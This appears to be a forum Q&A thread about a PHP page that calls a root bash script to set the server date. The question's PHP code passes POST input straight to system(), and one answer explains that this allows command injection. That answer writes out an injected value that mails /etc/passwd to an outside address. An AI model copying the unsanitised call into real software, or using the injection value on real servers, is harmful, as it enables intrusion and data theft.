I need to change the server date by running a bash script called by php. When i invoke the bash script from shell it works, but if i call it via php then it doesn't work. The bash script is run as root.
php script code:
<?php
$time = $_POST['input_time'];
$command = "/home/tutul/bin/timetest.sh";
$output=system("$command $time");
echo "$output";
?>
bash script code:
#! /bin/sh
date $1
hwclock --systohc --utc
What am i doing wrong here?
I tried to run it on my local machine when logged in as root, so i guess the script is invoked as root?
If you run a script as root, it will run as the root user unless you use some commands to make it otherwise.
You would need --set or -s to the date command to actually change the time.
That being said, are you sure you really want to do this? What are you making or trying to accomplish? On the whole, this doesn't seem like the best idea to me... unless you are making a web interface to a router or something like that.
Better might be use NTPD to keep the system time accurate, and then have or web application do adjustments based on the value.
First, I assume you realize that PHP script is susceptible to command injection, yes? For example, if I POST to the script with "
input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd
" I could expect a nice password file in my inbox.Second, setting the system time requires root privileges. If you were calling a binary executable, you could make it SETUID (
chmod u+s $program; chown root $program
). Fortunately, Linux does not respect the SETUID bit on scripts. If you are absolutely set on this technique, one fix is to write a C wrapper to call your script as root. The wrapper would be SETUID root and would call your script. If you do this, please be sure to sanitize the input before passing it off to your script!EDIT:
https://stackoverflow.com/questions/556194/calling-a-script-from-a-setuid-root-c-program-script-does-not-run-as-root
You say it doesn't work from PHP - are you running the PHP script from the command-line as root or through a web interface? When you access the PHP script via a web browser, that command is running as the user ID that your web server is using. Usually this would not be root.
You don't mention if the script is setuid but if it's not, then it's probably running as user "apache" or "www-user" or "nobody" or similar. You could make the shell script setuid but that's generally a bad idea from a security perspective. Of course, so is running your web server as root.